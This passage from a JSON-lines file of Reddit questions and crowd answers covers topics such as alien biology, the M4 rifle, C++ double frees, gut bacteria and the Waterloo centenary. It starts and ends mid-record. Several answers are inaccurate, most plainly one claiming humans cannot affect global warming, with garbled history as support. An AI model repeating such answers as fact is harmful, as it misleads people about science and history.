\"smart\" is happening here. It's just several chemical reactions, one after another. \n\nBut because DNA is the template for every protein your body uses, it defines your whole body. There's one protein that causes the gold flecks around the ring of your iris (in your eye) -- some people have it, some people don't. But at no point do these biological tools make \"decisions\"; the DNA doesn't \"control\" a cell in the sense that it's directing traffic. It's just a very complex system of different chemicals interacting with each other and producing different effects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "e4zm7p", "title": "If we found an organism claimed to be an alien, what would be the biological markers we could check to verify it is extraterrestrial, as opposed to a hitherto unknown terrestrial species?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/e4zm7p/if_we_found_an_organism_claimed_to_be_an_alien/", "answers": {"a_id": ["f9gruel", "f9gs1yz", "f9gtd4l", "f9gus20", "f9h38zk", "f9hq2sv", "f9itwgc"], "score": [4, 9, 61, 3, 10, 3, 2], "text": ["We don't know.\n\nThere is a chance that DNA did not evolve on Earth, but evolved elsewhere. DNA could be ubiquitous.\n\nHowever, Alien life that used DNA or some analog would still be likely have sequences that are quite different than anything that's from Earth.", "Does it have DNA and if so, is the code the same as a terrestrial organisms? If so, very unlikely to be alien. Add a quick check for the presence of highly conserved proteins like cytochrome c, if that is there and the same, definitely not alien.", "It is technically possible that some sort of strange life arose independently on earth, and if it did it would be very difficult to distinguish from an alien. We could guess based on where we found it and how suited it was to its environment, but I can't think of any way of knowing for sure that it came from a different planet. We don't really know how likely it is for life to begin from scratch. Nick Lane is a well-known author and researcher who has [written on the subject](_URL_1_).\n\nSome strong indicators might be: \n\nIf it did not use DNA or RNA to store information.\n\nIt might not be carbon-based life, which would be good evidence it was not terrestrial. \n\nWe can trace the origins of a subset of genes (~6000) back to a single [common ancestor](_URL_2_), so if it lacked any version of these genes it would be a strong indicator. \n\nThe Venter Institute has being doing some [cool experiments](_URL_0_) looking for the minimal genome, and have gotten it down to ~250 genes that are essential to life, so if something was existing with a different set of core genes that could be a strong indicator.", "Basically we'd be looking for something that's either unknown or not shared with species here on Earth. It could be the alien lifeform is based on different chemistry, or perhaps it's similar but has unusual chromosomes. Something to that effect. \n\nIt would be compelling if there was something that was from their own evolution path that allowed them to exist on specifically other planets, which wouldn't be necessary on Earth like not needing oxygen.", "this one's REAL tricky...\n\nan organism with some truly funky biology not shared with any organism anywhere on this planet MIGHT YET BE terrestrial -- multiple, very different things qualifying as 'life' may have formed via abiotic genesis multiple times on this planet\n\non the other hand, an organism with identical biology to some known earth organism might be, through astounding and preposterous coincidence, from another world\n\non the other other hand, an organism from another planet may be alien but still have an ultimate origin on earth in a \"reverse panspermia\" kind of arrangement where some chunk of earth blown off when the moon formed, carried organisms or prebiotic material to a wet ancient mars where it's been hunkered down trying its best for the past few billion years\n\non the other other OTHER hand, maybe you could suss out something involving isotope ratios found on earth vs those found elsewhere in the galaxy?? but that would just mean it grew somewhere else, not that it originated somewhere else... hm!\n\ni don't think there's any way to tell for foolproof certain... until we find something to worry about this question is mostly just a springboard for some cool speculative science fiction but this is a good question that's fun to think about, thank you", "Assuming this hypothetical alien has DNA, a good way to determine non-terrestrial origin would be to isolate the [Base Pairs](_URL_0_) in said DNA. All life on Earth uses the same nucleobases of Cytosine, Guanine, Adenine, and Thymine (and in RNA, Thymine is replaced by Uracil). If the lifeform's DNA (or DNA-analog) does not utilize the same nucleobases, then it is safe to say that it evolved from a different \"primordial ooze\". \n\nAs others have also said, however, isotope ratios would also point to an origin other than Earth or even our solar system. This pertains to the original formation of our solar system, and the geological process that resulted in heavier elements (easily identifiable, radioactive elements in trace amounts) that are ubiquitous in life on Earth. Different types of stars produce different amounts of various elements, and the ratios would easily identify a nonterrestrial origin.", "If it is DNA based, compare codon sequences for the amino acids. It is highly unlikely that there would be much similarity to life on Earth. All life on Earth shows that there is a common ancestor. If a common ancestor is not indicated, then likely not of terrestrial origin. Initial competition on Earth assured any newly erring life was prevented."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://science.sciencemag.org/content/351/6280/aad6253", "https://www.ncbi.nlm.nih.gov/pubmed/24904143", "https://en.wikipedia.org/wiki/Common_descent"], [], [], ["https://en.wikipedia.org/wiki/Base_pair"], []]}
{"q_id": "2f1mmv", "title": "why can't the military replace the m4?", "selftext": "I've heard about all of these newer more modern weapons that other countries are using for their military, and I know that there have been multiple attempts at replacing out military's current assault rifle(FS 2000, SCAR, etc.). I know that money can be an issue, but considering billions of dollars go into funding our military, why is it that we can't upgrade to something more modern? Especially when these possible candidates for a new assault rifle are better than the M4? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2f1mmv/eli5_why_cant_the_military_replace_the_m4/", "answers": {"a_id": ["ck50ugw", "ck50yf8", "ck51asy", "ck51l7s", "ck52fhq", "ck52khw"], "score": [8, 5, 3, 7, 2, 17], "text": ["More modern doesn't mean better. The M4 is inexpensive and highly reliable.", "That's a ton of money for not a ton of benefit. The M4/M16 is fairly cheap, reliability has been improving significantly over the years, and everyone's already trained for it. Maybe the SCAR is a bit more reliable, but it's not like in video games where they're in a whole different tier. ", "I doubt we will see the system Stoner designed replaced anytime soon.  It has become way more reliable than what it used to be, its a fairly easy system, everyone is trained, the round is sufficient and the weapon works.  If you look to the past whenever the military has changed standard weapons, it has been for really good reasons.  I don't think there is anything out there that is worth the time and cost to replace the M4.  Sure there are better weapons, but I don't think they see a need to replace the M4.  It would be a huge undertaking.  ", "There has not been a significant enough advance in rifle technology for the military to abandon a reliable weapon.\n\nThat being said, some companies are really trying hard to make some neat new rifles these days.  Colt finally hired its first lobbyist within the past few years because it finally felt threatened by the competition.", "There has been a few different rifles proposed to replace the M16 platform but none of them were as reliable, cheap, easy to use and as interchangeable as the M16 so there is no need to fix what isn't broken.", "There is nothing actually wrong with the M4 other than the fact that its barrel length is insufficient for the round that it's firing. \n\nDirect impingement is a battle-proven system that has been tested again and again for more than fifty years; if there were a better solution, they would've replaced it using any of the 5+ weapon competitions that have taken place over the years, one of which was concluded just last year. The results? There are rifles that provide marginally greater reliability or cleaner action, but are not worth the massive cost of discarding and replacing the AR-15 platform. \n\nCleaner action may seem promising, but your weapon doesn't have to be clean to work or not jam. The DI system forces hot, pressurized gas into the chamber, which pushes debris out through the ejection port. All you have to do is run it 'wet' (which means to regularly lube it with CLP/Slip 2000), and it will run like a top. \n\nThe main problem with current-issue M16s/M4s is that the military can't afford to purchase new units to replace older/rundown ones, because Congress keeps insisting on trying to [blow $2.16 billion trying to find a weapon that doesn't do the job all that much better than the M4] (_URL_0_). We luckily didn't actually spend that money because the Army wisely canceled the IC competition on the basis that it'd be wasting money and complicating logistics for a marginal improvement in combat effectiveness.\n\nThe XM8 rifle program was actually HK's attempt to sell us a G36. \n\nIt would've been far more cost-effective if they had pushed to develop their gas-piston M4-type carbine, which had a prototype all the way back in the late 80s when we were first adopting the M4 (the prototype was developed, 20 years later, into the HK416) instead of trying to sell us a G36 for 20 years. But that's not the point. \n\nIt's not really possible to replace the M4 because Congress has a bipolar relationship with 'wanting a better weapon for our troops' and 'spending too much money on weapons for the military'. The actual result, which is maintaining the status quo of using the AR-15, isn't that bad, and to be honest, if it were, the military would've pushed for it a lot harder than they currently are. \n\nThe USMC spent their money more wisely on M16A4s, and the proposed next-gen variant involves basically building the M16A4 like the C7A2, which is what the military should've been using the entire time. The M27 IAR, which is a gas piston rifle adopted by the USMC, also happens to be identically configured, with a collapsible stock and M16-length barrel. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Individual_Carbine"]]}
{"q_id": "8xrhr8", "title": "How do oil based lubes break condoms down?", "selftext": "Title", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8xrhr8/how_do_oil_based_lubes_break_condoms_down/", "answers": {"a_id": ["e26scxr"], "score": [6], "text": ["Solubility. Latex is basically soluble in oil, they're chemically similar substances (more specifically, oil is a non-polar solvent and latex is also non-polar, so they interact). So if you use oil based lubes it'll be dissolving the condom in it slowly, until it's so thin it breaks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8h0ns8", "title": "why does every website want permission to give me notifications?", "selftext": "Why does every pseudo-news website want to have notifications turned on and how do these work? Will I get a notification if my browser is closed? Will I get a notification if I'm on another website? And what the hell are they even trying to notify me of?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8h0ns8/eli5_why_does_every_website_want_permission_to/", "answers": {"a_id": ["dyg4juy", "dyg4lw7", "dyg72uc"], "score": [5, 19, 3], "text": ["If they can give you push notifications, you're much more likely to come back to the site when you see a notice.  The more you come back to the site, the more ads they can show you.  The more ads they show you, the more money they make.", "Chrome has a notification API, and other browsers may have adopted it also. The intent was to make web apps more like native apps. Chrome has a background process that runs even if you close the browser that will show notifications, so yes you will see these notifications if you're on a different website or if your browser is closed. The websites want to send you notifications because it's a way to get you back to their site. News sites will probably use it to notify you of new stories.\n\nI believe you can disable this background process by going into Chrome's settings, expanding the Advanced settings (bottom of page), then going to the System section and turning off \"Continue running background apps when Chrome is closed\".", "Ever see an infomercial with \"but wait, there's more!\". It's the same sort idea or whenever you click out of an (usually) false advertisement, you'll get a popup with \"do you really want to give up your chance to win the latest iPhone for free?!\".\n\nIt's the same type of deal.\nOriginally, it was meant to be used logically - say on Reddit, you would get notified someone replied to you, like you would on say Skype.\nBut a lot of sites just use it to grab your attention for more clicks/views and of course, because they advertise to you, they make money from it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2hyq0d", "title": "why can i buy wine online but not beer or liquor?", "selftext": "Going on Amazon and seeing a specific wine section also sites dedicated to wine selling like, _URL_0_ but yet I can't find anything that will sell me beer, whiskey, or rum online and ship it to me. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2hyq0d/eli5_why_can_i_buy_wine_online_but_not_beer_or/", "answers": {"a_id": ["ckx8ly7", "ckxeqha"], "score": [4, 2], "text": ["Look into the local liquor laws, or at least tell us what jurisdiction you're in. Some people can't buy any liquor online. Some can buy anything. Both can be so for different reasons in different jurisdictions. ", "I can buy rum online, and frequently do. I get it from _URL_0_ who also ship to the US."]}, "title_urls": [], "selftext_urls": ["wine.woot.com"], "answers_urls": [[], ["http://www.thewhiskyexchange.com/"]]}
{"q_id": "bms56u", "title": "why does deleting memory that has already been deleted result in a segmentation fault?", "selftext": "Dereferencing a freed pointer in c++\n\n||||\n|:-|:-|:-|\n||||", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bms56u/eli5_why_does_deleting_memory_that_has_already/", "answers": {"a_id": ["emz9n8f", "emza28k", "emzke2n"], "score": [5, 3, 3], "text": ["Segmentation faults occur when you try to access memory that either you don't have permission to access or isn't there. Trying to de-reference a null pointer or a pointer outside your memory for example because you are not allowed to access memory address 0 for the former and you can't de-reference a pointer that isn't there in the latter. You're trying to delete something that isn't there because it's already deleted.", "Generally, when you allocate memory from a heap, you get back a pointer. That pointer is also part of a record kept by the memory manager that also stores who owns it, permissions, and how big it is so that when you free it or your process is killed, the memory can be marked as available for other allocations or defragmentation of free space.\n\nWhen you free that memory, the record is erased and your pointer is zeroed out.\n\nIf you try to use a null pointer you get one type of fault, a null reference fault. If you try to use a saved pointer from before you freed it, the memory security hardware catches it and you get a protection fault. \n\nSpecific to x86 platforms, your pointer address is associated with a region of memory called a segment, which in protected mode refers to a record called a segment descriptor in a table maintained by the kernel. When the kernel frees that segment, its segment descriptor is cleared.  When the hardware can't find a segment descriptor it throws a segmentation fault.  The kernel then burns your app to the ground.  If it's the kernel itself, you bluescreen.", "The routines that allocate and free memory maintain data structures so they can keep track of which memory is in use and which is available.  If you free the same piece of memory more than once then that data structure can easily become corrupted with unpredictable consequences.  Exactly what happens will depend on the implementation of the memory \"heap\".\n\nIt's possible for the allocate and free code to do some checks at runtime to guard against errors of this kind but that slows down programs and can't be perfect anyway.  For example, if you free a pointer, are later allocated that same pointer for a different purpose, but then erroneously free the initial allocation a second time, there's no way for the free routine to detect that error.\n\nSometimes people use testing versions of free and allocate to check for coding errors.  The code runs more slowly but they can quickly find and, hopefully, diagnose issues.  That way the program will generally stop with an error as soon as something like a double free happens, as opposed to randomly crashing sometime later, or even not crashing but producing incorrect results.\n\nThe problem is that the thing you pass to the free routine is just a pointer to the first memory location in the space allocated.  To free it up, the software needs to know how much memory was allocated, and how to add that space back to the pool of unused memory.  This is handled by hidden data structures."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3hzk2z", "title": "why is the uk much worse at basketball than similarly sized european nations?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hzk2z/eli5_why_is_the_uk_much_worse_at_basketball_than/", "answers": {"a_id": ["cubybl0", "cubytbo"], "score": [7, 2], "text": ["Less interest due to more focus on other sports -- >  Smaller number of young people signing up and starting youth leagues + less money -- >  Smaller talent pool -- >  Weaker players make it to the local and national teams.", "There isn't much of an interest.  British athletes are more likely to pursue football, rugby, or cricket, so fewer become adept at basketball.\n\nIt is the same reason the US doesn't have a particularly good cricket team."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1fvjyj", "title": "Does human gut flora evolve significantly over the course of the human's life?", "selftext": "I know bacteria and what-not tend to evolve fairly rapidly due to their short lifecycles but do the bacteria that we have to digest our food evolve much over the course of our lifetimes?\n\nAs a related question does our diet affect them significantly enough to cause them to evolve?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fvjyj/does_human_gut_flora_evolve_significantly_over/", "answers": {"a_id": ["cae9qrx", "caearej", "caeg6u6"], "score": [23, 6, 5], "text": ["Yes and Yes.\n\nThe research on this field is quite young and just beginning to return useful data, but it's already clear that our gut microbiome is incredibly diverse, even for closely related people in the same environment, and it changes over the course of your life. It's also clear that everything from diet to the way you were born (vaginal or c-section) can have an impact on what populations are present at any given time of life.\n\nUnfortunately, we don't really know exactly how diets affect these populations exactly (there's some data from small numbers of subjects), and we don't even know what the \"ideal\" population balance is. Hell, we don't even know all the species that are present, most of the studies that have been done just look at the total gene profile *en mass*. Most of the microbes in are gut have not been cultured in a lab.", "Recent work has established that most humans have a very dynamic gut microflora during their first year or two of life. It is very prone to disturbance. Eventually however it stabilizes to form the adult gut microflora which is much more resilient.\n\nHowever it can still be perturbed by antibiotics or infection (or often by one infection expanding as a result of antibiotic therapy for a different infection). Disruption of the \"normal\" gut microbiota can lead to shifting to an alternative stable equilibrium with a different breakdown of bacteria. It is hypothesized that these alternative stable equilibria could favor certain inflammatory bowel diseases and there is work looking at the treatment of these diseases with fecal transplants (established work on C. diff infections and work now starting on Chrohn's and Colitis.\n\nSo it seems like the differences over time are primarily due to the changes in ratios of certain bacteria in the microbiota population with certain types expanding or decreasing as the diet and environmental stressors change. There isn't much research however on whether bacteria evolve within the gut over the course of a lifetime. This probably does occur in response to strong selection by antibiotics, however probably not in response to diet or the host immune system. The bacteria are already adapted to the host immune system (and largely functioning as commensals or transient pathogens) and diet probably doesn't exert sufficiently strong selective pressure over a long enough time to evolve new traits in the bugs. What we see is that different bacteria flourish in response to different diets so dietary changes favor expansion of existing populations rather than evolution of new traits.\n\nIt has been found that bacteria rapidly evolved the ability to metabolize nylon in the environment after its invention by humans. So perhaps if you ate some sort of synthetic non-digestable simple compound for every day of your life maybe you could evolve a population of bacteria in your gut to metabolize it. But no one has done that experiment.", "Please stop calling it gut flora. Bacteria are not plants.\n\nBacterial diversity will vary based on the environment. So yes overtime bacteria in the gut will change. All the other posters here are correct.\n\nThey would probably not evolve significantly due to an individual change but it is not impossible. More likely is you ingest a novel bacteria that is more fit than the others that is able to take up a niche. Alternatively, through horizontal gene transfer an advantageous gene from foreign bacteria could be taken up by your establish microbiome.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.ncbi.nlm.nih.gov/pubmed/21407241"]]}
{"q_id": "4dh45x", "title": "difference between a binding and non binding agreement in terms of global warming?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4dh45x/eli5_difference_between_a_binding_and_non_binding/", "answers": {"a_id": ["d1qu0qf", "d1r4c4z", "d1r7rwq", "d1rq3yt", "d1run50"], "score": [4, 2, 4, 3, 2], "text": ["Non-binding agreements means you say you're going to do something.    \nBinding agreements mean you say you're going to do something, and if you don't other people will do bad things to you.  \nYou can tell which one is actually going to make real change simply because the people who make those agreements are all politicians.", "A non-binding agreement is when you tell mom you will pick up your toys and does nothing to you when you dont. \nA binding agreement is when she stops you from watching TV because you didn't pick up your toys.", "An example of a non-binding agreement is two men who agree to stop using \"that's what she said\" as a joke.\n\nAn example of a binding agreement is two men who agree to stop using \"that's what she said\" as a joke, and if either of them breaks down and caves they agree to get slapped in the face in return.\n\nThe main difference is that the goals of both examples are quite hard. However only the top group of men will respond to the previous sentence with \"that's what she said\".\n\nSo if all the nations get together and say \"Global Warming needs to be stopped\" that's great, but \"Global Warming needs to be stopped and if carbon emissions aren't cut by 20% in two years I will cut my wages by 20%\" implies that *they're actually going to do something*.", "Binding: Oh you didn't uphold our agreements, so prepare to face our predetermined punishment. \n\nNon-Binding: Oh you didn't uphold our agreements.... Well, shit. ", "Global warming is a non binding issue because it happens either way. The effects will happen no matter what. During the fall of the roman empire, raiders came south to invade the Mediterranean in order to live there for the weather. However eventually about 300 or so years later, the earth began warming up and places like Sweeden were able to have farms. Hence whyit is enviable and not controled by humans. Humans cant control nature. When Hitler and Napoleon invaded russia at diffrent times, the winters came early and were the coldest. Nature has a way of working things out before humans get too powerful."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3c5wq9", "title": "why are our irrational thoughts so much stronger than our rational ones?", "selftext": "For example, why do we \"follow our heart\" more often than what logic and rationality tells us to? Are our desires inherently irrational???", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3c5wq9/eli5why_are_our_irrational_thoughts_so_much/", "answers": {"a_id": ["cssjyp8", "cssk70c", "cssmp5l"], "score": [2, 15, 4], "text": ["Based on what evidence do you think that people have stronger \"irrational thoughts\"?", "Weird drama ensuing down there :/ but hey let me give this a shot. We follow logic and rationality more. If we did not we would have died many times over. We stop at red lights, don't put our hands in the fire, don't cut our fingers off and even at a psychological level we create an atmosphere around us that gives us peace and serenity such as family friends, organisations etc. There is a very small percentage of our irrational thought process that actually manifests itself compared to the rational ones. It's just that we Don't pay enough attention to all our millions and millions  of rational ones. Our brain just subconsciously handles most of them! ", "The human brain is composed of three main parts. The one that reacts the fastest and has most control is called the amygdala. This is the leftovers from our \"reptile brains\" from back in the day.\n\nAs such, some events will be responded to by the amygdala and \"you\" will respond in some irrational manner, since control never reaches your higher order processing unit. It's possible to overcome a knee jerk response, but this requires practice and training.\n\nEdit: dyslexic mind thought it was amyglada. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "37uiee", "title": "what is the point of biological life?", "selftext": "Why is everything every organism ever does aimed at replicating and spreading its genes, often at the disadvantage of the individual who does it? Why do cats, mushrooms, viruses and apple trees exist only to multiply, especially if they would individually live longer if they wouldn't expend energy trying to reproduce?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37uiee/eli5_what_is_the_point_of_biological_life/", "answers": {"a_id": ["crpwn45", "crpwn6p", "crpwr3h", "crpwrea", "crpx23n", "crpx8mu", "crpy3st", "crpztak"], "score": [15, 2, 13, 9, 5, 2, 3, 3], "text": ["Because no organism can live forever. The animals that didn't focus on reproducing died out, leaving only those animals that treated reproduction as a high priority.", "If you don't reproduce your genetic code dies out. Reproduction keeps your genetic code alive, it's a true legacy that everything that has ever lived leaves behind.\n\nIf you reproduce more, you leave a greater legacy.", "There have been potentially BILLIONS of animals that favored their personal lives over the concept of reproduction (there are plenty of human examples), here's the problem: they're dead now. They might have lived longer, healthier, happier lives, but then they died and their genes ended with them. The animals that favor reproduction reproduce (hopefully) and we see their offspring in the next generation who also contain \"REPRODUCE NOW!\" genes.", "Nobody is saying life has a point. Ok, I take it back, lots of people say life has a point, but a lot of them for some reason think this point happens after you die. \n\nLife just *is*. It happened, we don't know why, and as far as we can tell it's pretty random.\n\nNow if life was *not* driven to reproduce, it wouldn't be here anymore. Likely a lot of organisms *did* die out because they didn't have the drive for survival. That drive is ingrained in us, as organisms, since before we evolved the capacity to *think*. ", "There isn't really any point unless you are religious about it.\n\nIt is just that at some point there were some complicated looking molecules that sometimes replicated themselves making more or less identical copies of itself. Just chemistry really.\n\nSome of these almost but not quite prefect copies turned out to be better at making copies of themselves than others.\n\nWhat happened was that the ones who were better at copying themselves ended up making more copies of themselves and their type started to outnumber the other type.\n\nThis happened again and again. The things started to get more and more complex and some strains chanced on all sorts of useful tricks like predation or photosynthesis etc.\n\nEventually the tricks got so complicated that you got animals and plants and stuff. Sex was invented as one very useful trick.\n\nBut no matter what changed the old rules still apply. The ones who end up being better at making copies of themselves (or having children) ended up within a few generations outnumbering the ones who don't have as many children.\n\nImagine two groups of rabbits each group has about a dozen animals in it. One is the normal sort of rabbit that lives at best 9 years and the other is almost sterile but functionally immortal and do not age.\n\nRelease both groups in a place like Australia and check back a few decades later. There are no hundreds of millions of rabbits there and every single one you check is of the normal rabbit variety. Of the dozen immortal rabbits that did not age and did not have any children some may be still around but others have encountered accidents, predators or other misfortunes.\n\nOf course in real life things are often more complex than that. You don't just spam offspring into the environment, you have to do it in the way that ensures that the offspring will survive and have kids themselves, not because the animals doing comprehend anything about the survival of their species, but simply because the animals who had an instinct telling them to act this way outbred the ones who didn't and right now only animals are left who are descended from a very long line of ancestors who had the right strategy.\n\nThese strategies can be very complex and it is easy to make yourself think that there is some sort of goal that is being worked towards, but in truth it is all just random with the ones didn't look like they were working towards some goal long ago having been filtered out.\n", "It isn't because of biological impossibility. Biologically immortal organisms do exist (google \"immortal jellyfish\"). \n\nSo, rather, the question might by WHY things reproduce INSTEAD of being immortal.\n\nAnd that answer: there's no real reason for immortality of an individual organism. DNA is what makes organisms. DNA is what is competing here; the most successful DNA is the DNA that continues to exist. So, DNA is ultimately what is trying to keep itself from dying out, and DNA is what must achieve immortality -- NOT the organism itself.\n\nAnd that is what reproduction is. Reproduction is sufficient for essentially rendering DNA immortal. DNA doesn't care whether it's in your body, or your offspring's body. Your tissues are expendable. Your body is just a large machine designed to propagate DNA.", "That question has been asked by philosophers for thousands of years without satisfactory answer. I am pretty sure ELI5 can't quite help you on the topic.", "Ok these ELI5s are starting to get ridiculous. You're asking questions there is no answer to and asking for it to be explained like you're 5???? Sorry but it can't be done"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "96rzmd", "title": "Is magnetic flux quantized like photons?", "selftext": "It\u2019s easy to think of light traveling as photons with characteristic energies because they can be detected as such.\n\nDoes magnetic flux (or an electrical field) have the same characteristics? In other words, is there a particle-like behavior that can be observed?\n\nThanks!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/96rzmd/is_magnetic_flux_quantized_like_photons/", "answers": {"a_id": ["e42rmqb", "e459ql1"], "score": [12, 2], "text": ["Magnetic flux is quantized if you send a magnetic field through a type-2 superconductor. A type-1 superconductor doesn't allow magnetic fields through it.\n\nWhen a magnetic field penetrates a type-2 superconductor, it bunches up into tight flux tubes, each of which has a value of of Planck's constant divided by the (positive) charge of two electrons. The total magnetic flux through the superconductor is some integer value of this \"magnetic flux quantum.\" To allow this to happen, spontaneous currents arise in the superconductor that form little vortices that surround the flux tubes. With enough of these, you can a lattice of vortices and tubes. [Here is a rough diagram](_URL_0_).\n\n So, not quite the same as a photon.", "If you want to talk about electric and magnetic fields more generally (that is outside the context of superconductors), remember that photons *are* how you describe electromagnetic fields in quantum mechanics: saying that there is a nontrivial electric or magnetic field is equivalent to saying that there are photons present.\n\n*However* - a nice classical configuration like a constant electric or magnetic field is represented quantum-mechanically by a \"coherent state\", which is a superposition of configurations with different *numbers* of photons; a classical-looking field usually means a large energy relative to the average frequency i.e. a large average photon number, and therefore a large *uncertainty* in the photon number (the probability of any number of photons in a coherent state goes as a Poisson distribution, so the uncertainty is the square root of the average number). That is, **the quantization of the electromagnetic field doesn't translate nicely into a way to describe a constant electric or magnetic field as a collection of quanta**.\n\nThere's another way I can read the question, though, which is \"do electric or magnetic fluxes carry particle-like quanta?\" In that case, you note that something that's particle-like is carrying energy; but **\"the transfer of electromagnetic energy\" is just electromagnetic radiation**, and electromagnetic radiation is carried by photons. So, electromagnetic fields traveling as particle-like *anything* is the transfer of photons.\n\nMoreover, the direction of electromagnetic radiation is always perpendicular to the direction of both the electric  &  magnetic fields; so if you have maximized magnetic or electric flux by taking a surface everywhere perpendicular to the field, it is guaranteed that *no* photons are passing through that surface."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/thumb/5/57/Flux_lines_in_a_superconductor01.jpg/700px-Flux_lines_in_a_superconductor01.jpg"], []]}
{"q_id": "3ul0s8", "title": "what happens when scissors glide through the paper, and why doesn't it always work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3ul0s8/eli5_what_happens_when_scissors_glide_through_the/", "answers": {"a_id": ["cxfpnnn"], "score": [4], "text": ["Scissors work best when the faces of the two blades are as close as possible with as little play as possible. Cheap Scissors tend to have a little wiggle room and the blades will be spaced from each other further at some points than others. \n\nIf there's a gap between the blades rather than having the metal blades shear the paper it can just fold it until it tears. Additionally if your Scissors are dull you're going to have a bad time. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9m63v9", "title": "'Every Wehrmacht Soldier had a copy of Zarathustra in his legpocket' Is a quote that stuck with me. But how popular was Nietzsches book really in Nazi Germany?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9m63v9/every_wehrmacht_soldier_had_a_copy_of_zarathustra/", "answers": {"a_id": ["e7c915g"], "score": [9], "text": ["I've written previously about Nazism and Nietzsche, so would [direct you here for that.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/8ozzq7/how_did_nietzsches_philosophies_eventually/e07ifhh/"]]}
{"q_id": "3lenau", "title": "What centennial commemorations of the Battle of Waterloo took place, if any, in June 1915 when Europe was again at war, with Waterloo allies now enemies and enemies now allies.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3lenau/what_centennial_commemorations_of_the_battle_of/", "answers": {"a_id": ["cv5v75z", "cv632fp"], "score": [95, 13], "text": ["Older answer from the Waterloo AMA:\n\nNo. Britain had plenty of festivities planned but they were mostly cancelled. \n\nMany of the usual activities for Waterloo celebrations were impossible or impractical. Dinners between regiments were impractical because of the war. Visits to the battlefield were planned but cancelled because the Germans currently occupied the battlefield. The Royal United Services had planned to unveil a Waterloo museum, but it was pushed back. \n\nOf course the victors at Waterloo still used it for propaganda purposes. Images of Wellington and Blucher were still positive. But most of the German celebrations focused on the liberation of Germany from occupying French forces in 1812 (there were massive celebrations in Germany to commemorate the anniversary in 1912) as opposed to Waterloo. \n\nEdit:\n\nJust to add Russia had issues celebrating because they had been moving closer towards France and thus had issues celebrating victories over Napoleon. \n\nAustria had issues celebrating because they had no victories over Napoleon to celebrate (heh). \n ", "The Battle of Waterloo occupied an anomalous place in 1915. The battle site itself had narrowly avoided becoming a battlefield the prior year and the Germans controlled this corner of Flanders for the remainder of the conflict. Although the local German commander of the region held a small parade on the centennial, according to an American journalist, the German commander used it as an opportunity to harangue the British for their perfidy. The largest Waterloo celebration was arguably at Hanover, where an estimated crown of 100000 gathered at the Waterloo Column to celebrate the past victory of German arms. Hanover's museum held an exhibition of Waterloo artifacts, but only those of German provenance. Hanover was the exception and because wartime events had forced the cancellation of parades and celebratory reenactments of Waterloo, both Britons and Germans had to devise creative means to mark the occasion of the centennial. \n\nA good deal of the celebrations were symbolic in nature.  In the context of the entente, one of the more obvious ways to simultaneously memorialize Waterloo and serve the war effort was to stage commemorations of the battle as symbols of international reconciliation with France. For example, on the June anniversary witnessed *The Times* recorded several instances of reconciliation on both a state and private level. In Paris, the oldest British residents \u201cplaced a wreath in the new cemetery at Neuilly- sur-Seine, where lie many French and British soldiers who fought and fell in the Battle of the Marne.\u201d The London authorities placed a heart-shaped ivy wreath, wrapped with a tricoleur ribbon, around Wellington\u2019s equestrian statue in Hyde Park. Paris matched this courtesy by attaching bouquets of red, white, and blue carnations around the wax statues of Napoleon and Wellington in Madame Tussard\u2019s museum.  Furthermore, the centenary memory would develop further the idea that Waterloo represented a titanic military struggle between two equals. A Times editorial stated that:\n\n > To remember [Waterloo] is to praise [French] qualities; for we should recall this victory with less pride had it been gained over an army less glorious and a captain less renowned; and for all our appreciation of- Wellington\u2019s genius and of the courage and tenacity of \tour soldiers, we know well how easily victory might have been turned into defeat had not \tNapoleon's good fortune deserted him on the field of battle.\n \nTwo weeks prior to the centennial, the Royal Artillery elected to honor the graves of its Waterloo fallen. Eventually they found forty-one graves and placed a small wreath on them.  At a Waterloo Day luncheon in Woolwich the Royal Artillery officers present marked the event with a quiet remembrance. According to a publication put out by the Royal Artillery, the officers  were asked to \u201chonor the names and memories of Artilleryman of all ranks, who fought at Waterloo and to remember those men of today who are fighting with the same bravery as our men of 1815.\u201d  At Wellington College, annual 